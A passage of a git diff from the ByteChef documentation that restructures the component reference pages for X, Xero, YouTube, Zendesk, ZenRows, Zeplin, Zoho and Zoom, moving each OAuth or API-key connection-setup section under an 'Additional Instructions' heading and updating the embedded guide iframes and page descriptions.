-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 49, boxSizing: 'border-box', paddingBottom: 'calc(53.05219207% + 32px)'}}>
-    <iframe src="https://www.guidejar.com/embed/fgmTMRGbY06kFYGe2Jnd?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0}} allowFullScreen frameBorder="0"></iframe>
-</div>
-
 
 
 <hr />
@@ -116,8 +96,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Delete Post
 Name: deletePost
 
@@ -167,8 +145,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Like Post
 Name: likePost
 
@@ -218,8 +194,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Repost Post
 Name: repostPost
 
@@ -270,8 +244,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Send Direct Message
 Name: sendDirectMessage
 
@@ -332,8 +304,6 @@ Type: OBJECT
 
 
 
-
-
 ## Triggers
 
 
@@ -384,4 +354,26 @@ Type: OBJECT
 
 
 
+<hr />
+
+# Additional Instructions
+
+## Connection Setup
+
+1. Log in to the [X developer portal](https://developer.x.com/en/portal/dashboard) and go to the **Overview** tab in your project.
+2. Click on **+ Add App**.
+3. Give your app a name (for example, `ByteChef Integration`) and select **Next**.
+4. Go to the **App Settings**.
+5. In the **User authentication settings**, select **Set Up**.
+6. Set the **App permissions** to **Read and write and Direct message**.
+7. In the **Type of app** section, select **Native App**.
+8. Add the ByteChef OAuth redirect (callback) URL(s):
+    - Cloud: `https://app.bytechef.io/callback`
+    - Local development: `http://127.0.0.1:5173/callback` or `http://localhost:5173/callback`
+9. Add a **Website URL**. Click **Save**.
+10. Click **Yes**.
+11. Copy your **Client ID** and **Client Secret**. You will use these in ByteChef when creating the X connection.
 
+<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 99999, boxSizing: 'border-box', paddingBottom: 'calc(53.05219207% + 32px)'}}>
+    <iframe src="https://www.guidejar.com/embed/fgmTMRGbY06kFYGe2Jnd?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0}} allowFullScreen frameBorder="0"></iframe>
+</div>
diff --git a/docs/content/docs/reference/components/xero_v1.mdx b/docs/content/docs/reference/components/xero_v1.mdx
index 2f2df2724d6..9bbd7b25554 100644
--- a/docs/content/docs/reference/components/xero_v1.mdx
+++ b/docs/content/docs/reference/components/xero_v1.mdx
@@ -1,9 +1,8 @@
 ---
-title: "Xero"
-description: "Xero is an online accounting software platform designed for small businesses and accountants to manage finances efficiently."
+description: "Xero component for ByteChef. Accounting software. Learn how to implement this in your ByteChef workflows."
+title: Xero
 ---
 
-
 Categories: Accounting
 
 
@@ -30,26 +29,6 @@ Version: 1
 
 
 
-## Connection Setup
-
-Connect Xero to ByteChef using OAuth 2.0 (Authorization Code).
-
-### Create a Xero OAuth app
-
-1. Log in to the Xero Developer portal: [My Apps](https://developer.xero.com/app/manage) and click **New app**.
-2. Enter an app name (for example, `ByteChef Integration`) and select **Web app** as the integration type.
-3. For the Company/Application URL, enter the URL of your ByteChef server. For cloud users, for example: `https://app.bytechef.io`.
-4. Add the ByteChef OAuth redirect (callback) URL(s):
-    - Cloud: `https://app.bytechef.io/callback`
-    - Local development: `http://127.0.0.1:5173/callback` or `http://localhost:5173/callback`
-5. Agree to the terms and click **Create app**.
-6. In **Configuration**, click **Generate a secret** to create your Client Secret.
-7. Copy your **Client ID** and **Client Secret**. You will use these in ByteChef when creating the Xero connection.
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 49, boxSizing: 'border-box', paddingBottom: 'calc(53.05219207% + 32px)'}}>
-    <iframe src="https://www.guidejar.com/embed/mQxV8zzt0Foh0yb54Drz?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0}} allowFullScreen frameBorder="0"></iframe>
-</div>
-
 
 
 <hr />
@@ -144,8 +123,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Create Contact
 Name: createContact
 
@@ -257,8 +234,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Create Invoice
 Name: createSalesInvoice
 
@@ -345,8 +320,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Create Quote
 Name: createQuote
 
@@ -458,8 +431,6 @@ Type: OBJECT
 
 
 
-
-
 ## Triggers
 
 
@@ -513,7 +484,6 @@ Type: OBJECT
 ```
 
 
-
 ### New Contact
 Name: newContact
 
@@ -568,7 +538,6 @@ Type: OBJECT
 ```
 
 
-
 ### New Invoice
 Name: newInvoice
 
@@ -621,4 +590,26 @@ Type: OBJECT
 
 
 
+<hr />
+
+# Additional Instructions
+
+## Connection Setup
+
+Connect Xero to ByteChef using OAuth 2.0 (Authorization Code).
+
+### Create a Xero OAuth app
+
+1. Log in to the Xero Developer portal: [My Apps](https://developer.xero.com/app/manage) and click **New app**.
+2. Enter an app name (for example, `ByteChef Integration`) and select **Web app** as the integration type.
+3. For the Company/Application URL, enter the URL of your ByteChef server. For cloud users, for example: `https://app.bytechef.io`.
+4. Add the ByteChef OAuth redirect (callback) URL(s):
+    - Cloud: `https://app.bytechef.io/callback`
+    - Local development: `http://127.0.0.1:5173/callback` or `http://localhost:5173/callback`
+5. Agree to the terms and click **Create app**.
+6. In **Configuration**, click **Generate a secret** to create your Client Secret.
+7. Copy your **Client ID** and **Client Secret**. You will use these in ByteChef when creating the Xero connection.
 
+<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 99999, boxSizing: 'border-box', paddingBottom: 'calc(53.05219207% + 32px)'}}>
+    <iframe src="https://www.guidejar.com/embed/mQxV8zzt0Foh0yb54Drz?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0}} allowFullScreen frameBorder="0"></iframe>
+</div>
\ No newline at end of file
diff --git a/docs/content/docs/reference/components/xlsx-file_v1.mdx b/docs/content/docs/reference/components/xlsx-file_v1.mdx
index 8ea24f2fb44..803d7055744 100644
--- a/docs/content/docs/reference/components/xlsx-file_v1.mdx
+++ b/docs/content/docs/reference/components/xlsx-file_v1.mdx
@@ -1,9 +1,8 @@
 ---
-title: "XLSX File"
-description: "Reads and writes data from a XLS/XLSX file."
+description: "XLSX File component. Read and write Excel files. Learn how to implement this in your ByteChef workflows."
+title: XLSX File
 ---
 
-
 Categories: Helpers
 
 
@@ -64,8 +63,6 @@ The output for this action is dynamic and may vary depending on the input parame
 
 
 
-
-
 ### Write to File
 Name: write
 
@@ -120,10 +117,4 @@ Type: FILE_ENTRY
   "name" : "",
   "url" : ""
 }
-```
-
-
-
-
-
-
+```
\ No newline at end of file
diff --git a/docs/content/docs/reference/components/xml-file_v1.mdx b/docs/content/docs/reference/components/xml-file_v1.mdx
index bb771328ae1..cbb4d94249d 100644
--- a/docs/content/docs/reference/components/xml-file_v1.mdx
+++ b/docs/content/docs/reference/components/xml-file_v1.mdx
@@ -1,9 +1,8 @@
 ---
-title: "XML File"
-description: "Reads and writes data from a XML file."
+description: "XML Helper component. Convert between XML formats. Learn how to implement this in your ByteChef workflows."
+title: XML File
 ---
 
-
 Categories: Helpers
 
 
@@ -60,8 +59,6 @@ The output for this action is dynamic and may vary depending on the input parame
 
 
 
-
-
 ### Write to File
 Name: write
 
@@ -117,10 +114,4 @@ Type: FILE_ENTRY
   "name" : "",
   "url" : ""
 }
-```
-
-
-
-
-
-
+```
\ No newline at end of file
diff --git a/docs/content/docs/reference/components/xml-helper_v1.mdx b/docs/content/docs/reference/components/xml-helper_v1.mdx
index e123e10358b..330a2c9b22d 100644
--- a/docs/content/docs/reference/components/xml-helper_v1.mdx
+++ b/docs/content/docs/reference/components/xml-helper_v1.mdx
@@ -1,9 +1,8 @@
 ---
-title: "XML Helper"
-description: "Converts between XML string and object/array."
+description: "XML Helper component. Convert between XML formats. Learn how to implement this in your ByteChef workflows."
+title: XML Helper
 ---
 
-
 Categories: Helpers
 
 
@@ -47,8 +46,6 @@ The output for this action is dynamic and may vary depending on the input parame
 
 
 
-
-
 ### Convert to XML String
 Name: stringify
 
@@ -79,16 +76,4 @@ Name: stringify
 
 
 
-Type: STRING
-
-
-
-
-
-
-
-
-
-
-
-
+Type: STRING
\ No newline at end of file
diff --git a/docs/content/docs/reference/components/youtube_v1.mdx b/docs/content/docs/reference/components/youtube_v1.mdx
index 8ae88ee4ad9..0060417ee30 100644
--- a/docs/content/docs/reference/components/youtube_v1.mdx
+++ b/docs/content/docs/reference/components/youtube_v1.mdx
@@ -1,9 +1,8 @@
 ---
-title: "Youtube"
-description: "Enjoy the videos and music you love, upload original content, and share it all with friends, family, and the world on YouTube."
+description: "YouTube component for ByteChef. Video platform. Learn how to implement this in your ByteChef workflows."
+title: Youtube
 ---
 
-
 Categories: Helpers
 
 
@@ -30,25 +29,6 @@ Version: 1
 
 
 
-## Connection Setup
-
-### Create OAuth 2.0 Application
-
-Creation of OAuth 2.0 application is documented [here](/reference/components/google-application-setup_v1#create-oauth-20-application).
-
-### Enable YouTube API
-
-1. In the [Google Cloud Console](https://console.cloud.google.com/), select your project.
-2. Go to the **APIs & Services**.
-3. Click on **ENABLE APIS AND SERVICES**.
-4. Search for "youube api" in the search bar.
-5. Click on **YouTube Data API v3**.
-6. Click **Enable**.
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zindex: 49, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
-    <iframe src="https://www.guidejar.com/embed/9b51f546-6d77-4e9b-b27a-c8704982ccbf?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0}} allowFullScreen frameBorder="0"></iframe>
-</div>
-
 
 
 <hr />
@@ -159,8 +139,6 @@ Type: OBJECT
 
 
 
-
-
 ## Triggers
 
 
@@ -216,13 +194,31 @@ Type: OBJECT
 
 
 
-
 <hr />
 
 # Additional Instructions
 
+## Connection Setup
+
+### Create OAuth 2.0 Application
+
+Creation of OAuth 2.0 application is documented [here](/reference/components/google-application-setup_v1#create-oauth-20-application).
+
+### Enable YouTube API
+
+1. In the [Google Cloud Console](https://console.cloud.google.com/), select your project.
+2. Go to the **APIs & Services**.
+3. Click on **ENABLE APIS AND SERVICES**.
+4. Search for "youube api" in the search bar.
+5. Click on **YouTube Data API v3**.
+6. Click **Enable**.
+
+<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 99999, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
+    <iframe src="https://www.guidejar.com/embed/9b51f546-6d77-4e9b-b27a-c8704982ccbf?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0}} allowFullScreen frameBorder="0"></iframe>
+</div>
+
 ## Troubleshooting
 
 ### Access Blocked: Verification Process Not Completed
 
-Documentation for how to add a test user can be found [here](/reference/components/google-application-setup_v1#access-blocked-verification-process-not-completed)
+Documentation for how to add a test user can be found [here](/reference/components/google-application-setup_v1#access-blocked-verification-process-not-completed)
\ No newline at end of file
diff --git a/docs/content/docs/reference/components/zendesk-sell_v1.mdx b/docs/content/docs/reference/components/zendesk-sell_v1.mdx
index b7da5fc3ea0..de3c711044b 100644
--- a/docs/content/docs/reference/components/zendesk-sell_v1.mdx
+++ b/docs/content/docs/reference/components/zendesk-sell_v1.mdx
@@ -1,9 +1,8 @@
 ---
-title: "Zendesk Sell"
-description: "Zendesk Sell is a sales CRM software that helps businesses manage leads, contacts, and deals efficiently."
+description: "Zendesk Sell component for ByteChef. Sales CRM. Learn how to implement this in your ByteChef workflows."
+title: Zendesk Sell
 ---
 
-
 Categories: CRM
 
 
@@ -31,7 +30,6 @@ Version: 1
 
 
 
-
 <hr />
 
 
@@ -108,8 +106,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Create Task
 Name: createTask
 
@@ -164,10 +160,4 @@ Type: OBJECT
     "type" : ""
   }
 }
-```
-
-
-
-
-
-
+```
\ No newline at end of file
diff --git a/docs/content/docs/reference/components/zendesk_v1.mdx b/docs/content/docs/reference/components/zendesk_v1.mdx
index de6dab8ca15..73dc5837f06 100644
--- a/docs/content/docs/reference/components/zendesk_v1.mdx
+++ b/docs/content/docs/reference/components/zendesk_v1.mdx
@@ -1,9 +1,8 @@
 ---
-title: "Zendesk"
-description: "Zendesk is a customer service and sales platform that helps businesses manage customer interactions across various channels."
+description: "Zendesk component for ByteChef. Customer support. Learn how to implement this in your ByteChef workflows."
+title: Zendesk
 ---
 
-
 Categories: Surveys and Feedback
 
 
@@ -31,28 +30,6 @@ Version: 1
 
 
 
-## Connection Setup
-
-### Create API Token
-
-1. Go to your Zendesk dashboard.
-2. Click this icon.
-3. Click on **Apps and integrations**.
-4. Click on **API configuration**.
-5. Enable API token access.
-6. Click on **Save**.
-7. Click on **API tokens**.
-8. Click on **Add API token**.
-9. Enter description of the token.
-10. Click on **Save**.
-11. Click on **Copy**.
-12. Click on **Save**.
-13. Done 🚀
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 49, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
-    <iframe src="https://www.guidejar.com/embed/0d895ef9-5822-426d-ad18-7837f1a54990?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0}} allowFullScreen frameBorder="0"></iframe>
-</div>
-
 
 
 <hr />
@@ -205,8 +182,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Create Organization
 Name: createOrganization
 
@@ -286,8 +261,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Create Ticket
 Name: createTicket
 
@@ -439,8 +412,6 @@ Type: OBJECT
 
 
 
-
-
 ## Triggers
 
 
@@ -509,10 +480,34 @@ Type: OBJECT
 
 
 
-
 ## What to do if your action is not listed here?
 
 If this component doesn't have the action you need, you can use **Custom Action** to create your own. Custom Actions empower you to define HTTP requests tailored to your specific requirements, allowing for greater flexibility in integrating with external services or APIs.
 
 To create a Custom Action, simply specify the desired HTTP method, path, and any necessary parameters. This way, you can extend the functionality of your component beyond the predefined actions, ensuring that you can meet all your integration needs effectively.
 
+<hr />
+
+# Additional Instructions
+
+## Connection Setup
+
+### Create API Token
+
+1. Go to your Zendesk dashboard.
+2. Click this icon.
+3. Click on **Apps and integrations**.
+4. Click on **API configuration**.
+5. Enable API token access.
+6. Click on **Save**.
+7. Click on **API tokens**.
+8. Click on **Add API token**.
+9. Enter description of the token.
+10. Click on **Save**.
+11. Click on **Copy**.
+12. Click on **Save**.
+13. Done 🚀
+
+<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 99999, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
+    <iframe src="https://www.guidejar.com/embed/0d895ef9-5822-426d-ad18-7837f1a54990?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0}} allowFullScreen frameBorder="0"></iframe>
+</div>
\ No newline at end of file
diff --git a/docs/content/docs/reference/components/zenrows_v1.mdx b/docs/content/docs/reference/components/zenrows_v1.mdx
index 3629e4a77f6..279158364fc 100644
--- a/docs/content/docs/reference/components/zenrows_v1.mdx
+++ b/docs/content/docs/reference/components/zenrows_v1.mdx
@@ -1,9 +1,8 @@
 ---
-title: "ZenRows"
-description: "ZenRows is a web scraping service with an advanced toolkit and APIs that simplify data extraction from bot-protected websites."
+description: "ZenRows component for ByteChef. Automate web scraping and data extraction with advanced APIs and proxy rotation."
+title: ZenRows
 ---
 
-
 Categories: Analytics
 
 
@@ -29,18 +28,6 @@ Version: 1
 
 
 
-## Connection Setup
-
-### Find API Key
-
-1. Navigate to your dashboard.
-2. Click on **Settings**.
-3. Here you can see your API key.
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 49, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
-    <iframe src="https://www.guidejar.com/embed/2b69b7ce-2596-49d2-aeda-bb74a9c52f70?type=1&controls=on" height="100%" style={{height:'100%', position:'absolute', inset:0, border: 'none'}} allowFullScreen></iframe>
-</div>
-
 
 
 <hr />
@@ -89,8 +76,6 @@ Type: STRING
 
 
 
-
-
 ### Scrape URL Autoparse
 Name: scrapeUrlAutoparse
 
@@ -131,8 +116,6 @@ Type: STRING
 
 
 
-
-
 ### Scrape URL With CSS Selectors
 Name: scrapeUrlWithCssSelectors
 
@@ -176,5 +159,18 @@ Type: STRING
 
 
 
+<hr />
+
+# Additional Instructions
+
+## Connection Setup
+
+### Find API Key
 
+1. Navigate to your dashboard.
+2. Click on **Settings**.
+3. Here you can see your API key.
 
+<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 99999, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
+    <iframe src="https://www.guidejar.com/embed/2b69b7ce-2596-49d2-aeda-bb74a9c52f70?type=1&controls=on" height="100%" style={{height:'100%', position:'absolute', inset:0, border: 'none'}} allowFullScreen></iframe>
+</div>
\ No newline at end of file
diff --git a/docs/content/docs/reference/components/zeplin_v1.mdx b/docs/content/docs/reference/components/zeplin_v1.mdx
index ab27ba51935..f3231719d94 100644
--- a/docs/content/docs/reference/components/zeplin_v1.mdx
+++ b/docs/content/docs/reference/components/zeplin_v1.mdx
@@ -1,9 +1,8 @@
 ---
-title: "Zeplin"
-description: "Zeplin is a collaboration tool that bridges the gap between designers and developers by providing a platform to share, organize, and translate design files into development."
+description: "Zeplin component for ByteChef. Design collaboration. Learn how to implement this in your ByteChef workflows."
+title: Zeplin
 ---
 
-
 Categories: Communication
 
 
@@ -30,25 +29,6 @@ Version: 1
 
 
 
-## Connection Setup
-
-Connect Zeplin to ByteChef using OAuth 2.0 (Authorization Code).
-
-### Create a Zeplin OAuth app
-
-1. Log in to the Zeplin profile page and go to the [Developer tab](https://app.zeplin.io/profile/developer).
-2. Click **Create new app**.
-3. Enter an app name (for example, `ByteChef Integration`).
-4. Add the ByteChef OAuth redirect (callback) URL(s):
-    - Cloud: `https://app.bytechef.io/callback`
-    - Local development: `http://127.0.0.1:5173/callback`
-5. Click **CREATE**.
-6. Copy **Client ID** and **Client Secret**. You will use these in ByteChef when creating the Zeplin connection.
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 49, boxSizing: 'border-box', paddingBottom: 'calc(53.05219207% + 32px)'}}>
-    <iframe src="https://www.guidejar.com/embed/SGg69P7XD9vjivIbNZ1n?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0}} allowFullScreen frameBorder="0"></iframe>
-</div>
-
 
 
 <hr />
@@ -92,8 +72,6 @@ This action does not produce any output.
 
 
 
-
-
 ## Triggers
 
 
@@ -144,10 +122,31 @@ Type: OBJECT
 
 
 
-
 ## What to do if your action is not listed here?
 
 If this component doesn't have the action you need, you can use **Custom Action** to create your own. Custom Actions empower you to define HTTP requests tailored to your specific requirements, allowing for greater flexibility in integrating with external services or APIs.
 
 To create a Custom Action, simply specify the desired HTTP method, path, and any necessary parameters. This way, you can extend the functionality of your component beyond the predefined actions, ensuring that you can meet all your integration needs effectively.
 
+<hr />
+
+# Additional Instructions
+
+## Connection Setup
+
+Connect Zeplin to ByteChef using OAuth 2.0 (Authorization Code).
+
+### Create a Zeplin OAuth app
+
+1. Log in to the Zeplin profile page and go to the [Developer tab](https://app.zeplin.io/profile/developer).
+2. Click **Create new app**.
+3. Enter an app name (for example, `ByteChef Integration`).
+4. Add the ByteChef OAuth redirect (callback) URL(s):
+    - Cloud: `https://app.bytechef.io/callback`
+    - Local development: `http://127.0.0.1:5173/callback`
+5. Click **CREATE**.
+6. Copy **Client ID** and **Client Secret**. You will use these in ByteChef when creating the Zeplin connection.
+
+<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 99999, boxSizing: 'border-box', paddingBottom: 'calc(53.05219207% + 32px)'}}>
+    <iframe src="https://www.guidejar.com/embed/SGg69P7XD9vjivIbNZ1n?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0}} allowFullScreen frameBorder="0"></iframe>
+</div>
\ No newline at end of file
diff --git a/docs/content/docs/reference/components/zoho-application-setup_v1.mdx b/docs/content/docs/reference/components/zoho-application-setup_v1.mdx
index 8bb2682bf46..8cf87a0c4b7 100644
--- a/docs/content/docs/reference/components/zoho-application-setup_v1.mdx
+++ b/docs/content/docs/reference/components/zoho-application-setup_v1.mdx
@@ -19,6 +19,6 @@ description: "Steps for setting up Zoho API console for every Zoho component."
       - `http://localhost:5173/callback` (Local dev)
 6. Copy Client ID and Client Secret and use it in Bytechef.
 
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zindex: 49, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
+<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 99999, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
   <iframe src="https://www.guidejar.com/embed/uxvPuy5YofIwXnwqRLhj?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0}} allowFullScreen frameBorder="0"></iframe>
 </div>
diff --git a/docs/content/docs/reference/components/zoho-books_v1.mdx b/docs/content/docs/reference/components/zoho-books_v1.mdx
index 48bb475fb3d..65aa9a8d1e8 100644
--- a/docs/content/docs/reference/components/zoho-books_v1.mdx
+++ b/docs/content/docs/reference/components/zoho-books_v1.mdx
@@ -32,26 +32,6 @@ Version: 1
 
 
 
-## Connection Setup
-
-### Create OAuth 2.0 Application
-
-Creation of OAuth 2.0 application is documented [here](/reference/components/zoho-application-setup_v1#create-oauth-20-application).
-
-### Create organization ID
-
-1. Login to your account at https://www.zoho.com/books/.
-2. Fill in the required fields:
-    - **Organization Name**: Enter a name for your organization (e.g., `bytechef`).
-    - **Organization Location**: Choose a location for your organization.
-3. Set up your organization profile and click **Get Started**.
-4. Click on your organization and copy Organization ID.
-5. In Bytechef, choose your region based on Zoho Books domain you are using.
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 49, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
-    <iframe src="https://www.guidejar.com/embed/NHEGbzC55jMuGk5bFpL5?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0}} allowFullScreen frameBorder="0"></iframe>
-</div>
-
 
 
 <hr />
@@ -147,8 +127,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Create Invoice
 Name: createInvoice
 
@@ -215,8 +193,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Create Sales Order
 Name: createSalesOrder
 
@@ -287,5 +263,26 @@ Type: OBJECT
 
 
 
+<hr />
+
+# Additional Instructions
+
+## Connection Setup
 
+### Create OAuth 2.0 Application
+
+Creation of OAuth 2.0 application is documented [here](/reference/components/zoho-application-setup_v1#create-oauth-20-application).
+
+### Create organization ID
 
+1. Login to your account at https://www.zoho.com/books/.
+2. Fill in the required fields:
+    - **Organization Name**: Enter a name for your organization (e.g., `bytechef`).
+    - **Organization Location**: Choose a location for your organization.
+3. Set up your organization profile and click **Get Started**.
+4. Click on your organization and copy Organization ID.
+5. In Bytechef, choose your region based on Zoho Books domain you are using.
+
+<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 99999, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
+    <iframe src="https://www.guidejar.com/embed/NHEGbzC55jMuGk5bFpL5?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0}} allowFullScreen frameBorder="0"></iframe>
+</div>
diff --git a/docs/content/docs/reference/components/zoho-crm_v1.mdx b/docs/content/docs/reference/components/zoho-crm_v1.mdx
index 14673d2c4ea..b73ce883a10 100644
--- a/docs/content/docs/reference/components/zoho-crm_v1.mdx
+++ b/docs/content/docs/reference/components/zoho-crm_v1.mdx
@@ -31,15 +31,6 @@ Version: 1
 
 
 
-## Connection Setup
-
-### Create OAuth 2.0 Application
-
-Creation of OAuth 2.0 application is documented [here](/reference/components/zoho-application-setup_v1#create-oauth-20-application).
-
-1. Login to your account at https://www.zoho.com/crm/.
-2. In Bytechef, choose your region based on Zoho CRM domain you are using.
-
 
 
 <hr />
@@ -110,8 +101,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Get Organization
 Name: getOrganization
 
@@ -166,8 +155,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### List Users
 Name: listUsers
 
@@ -237,5 +224,15 @@ Type: OBJECT
 
 
 
+<hr />
+
+# Additional Instructions
 
+## Connection Setup
 
+### Create OAuth 2.0 Application
+
+Creation of OAuth 2.0 application is documented [here](/reference/components/zoho-application-setup_v1#create-oauth-20-application).
+
+1. Login to your account at https://www.zoho.com/crm/.
+2. In Bytechef, choose your region based on Zoho CRM domain you are using.
diff --git a/docs/content/docs/reference/components/zoho-invoice_v1.mdx b/docs/content/docs/reference/components/zoho-invoice_v1.mdx
index 93096a10483..c2124a48b6b 100644
--- a/docs/content/docs/reference/components/zoho-invoice_v1.mdx
+++ b/docs/content/docs/reference/components/zoho-invoice_v1.mdx
@@ -32,23 +32,6 @@ Version: 1
 
 
 
-## Connection Setup
-
-### Create OAuth 2.0 Application
-
-Creation of OAuth 2.0 application is documented [here](/reference/components/zoho-application-setup_v1#create-oauth-20-application).
-
-### Create organization ID
-
-1. Login to your account at https://www.zoho.com/invoice/.
-2. Fill in the required fields and click **Get Started**.
-3. Click on your organization and copy Organization ID.
-4. In Bytechef, choose your region based on Zoho Invoice domain you are using.
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 49, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
-    <iframe src="https://www.guidejar.com/embed/sujaBEMX2zkWrFS4EIoD?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0}} allowFullScreen frameBorder="0"></iframe>
-</div>
-
 
 
 <hr />
@@ -140,8 +123,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Create Invoice
 Name: createInvoice
 
@@ -206,8 +187,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Create Item
 Name: createItem
 
@@ -267,5 +246,23 @@ Type: OBJECT
 
 
 
+<hr />
+
+# Additional Instructions
+
+## Connection Setup
+
+### Create OAuth 2.0 Application
+
+Creation of OAuth 2.0 application is documented [here](/reference/components/zoho-application-setup_v1#create-oauth-20-application).
+
+### Create organization ID
 
+1. Login to your account at https://www.zoho.com/invoice/.
+2. Fill in the required fields and click **Get Started**.
+3. Click on your organization and copy Organization ID.
+4. In Bytechef, choose your region based on Zoho Invoice domain you are using.
 
+<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 99999, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
+    <iframe src="https://www.guidejar.com/embed/sujaBEMX2zkWrFS4EIoD?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0}} allowFullScreen frameBorder="0"></iframe>
+</div>
diff --git a/docs/content/docs/reference/components/zoom_v1.mdx b/docs/content/docs/reference/components/zoom_v1.mdx
index 7017832de9b..acca734e2db 100644
--- a/docs/content/docs/reference/components/zoom_v1.mdx
+++ b/docs/content/docs/reference/components/zoom_v1.mdx
@@ -1,9 +1,8 @@
 ---
-title: "Zoom"
-description: "Zoom is a cloud-based video conferencing platform that enables virtual meetings, webinars, and collaboration through video, audio, and chat."
+description: "Zoom component for ByteChef. Video conferencing. Learn how to implement this in your ByteChef workflows."
+title: Zoom
 ---
 
-
 Categories: Communication
 
 
@@ -30,23 +29,6 @@ Version: 1
 
 
 
-## Connection Setup
-
-### Find OAuth Credentials and Add Required Scopes
-
-1. Go to [marketplace.zoom.us](https://marketplace.zoom.us/) and log in to your account.
-2. Click on Develop.
-3. Click on Build app.
-4. Select General App.
-5. Click on Create.
-6. Here you can see Client ID and Client Secret.
-7. Enter a redirect URI, e.g., http://127.0.0.1:5173/callback, https://app.bytechef.io/callback. Click Create.
-8. Go to **Scopes** from left sidebar and add **meeting:write:meeting** and **meeting:write:registrant** as scopes.`,
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 49, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
-    <iframe src="https://www.guidejar.com/embed/23d01159-c615-4e15-9592-edb2439c0da7?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0, border: 'none'}} allowFullScreen></iframe>
-</div>
-
 
 
 <hr />
@@ -187,8 +169,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Add Meeting Registrant
 Name: addMeetingRegistrant
 
@@ -291,11 +271,29 @@ Type: OBJECT
 
 
 
-
-
 ## What to do if your action is not listed here?
 
 If this component doesn't have the action you need, you can use **Custom Action** to create your own. Custom Actions empower you to define HTTP requests tailored to your specific requirements, allowing for greater flexibility in integrating with external services or APIs.
 
 To create a Custom Action, simply specify the desired HTTP method, path, and any necessary parameters. This way, you can extend the functionality of your component beyond the predefined actions, ensuring that you can meet all your integration needs effectively.
 
+<hr />
+
+# Additional Instructions
+
+## Connection Setup
+
+### Find OAuth Credentials and Add Required Scopes
+
+1. Go to [marketplace.zoom.us](https://marketplace.zoom.us/) and log in to your account.
+2. Click on Develop.
+3. Click on Build app.
+4. Select General App.
+5. Click on Create.
+6. Here you can see Client ID and Client Secret.
+7. Enter a redirect URI, e.g., http://127.0.0.1:5173/callback, https://app.bytechef.io/callback. Click Create.
+8. Go to **Scopes** from left sidebar and add **meeting:write:meeting** and **meeting:write:registrant** as scopes.`,
+
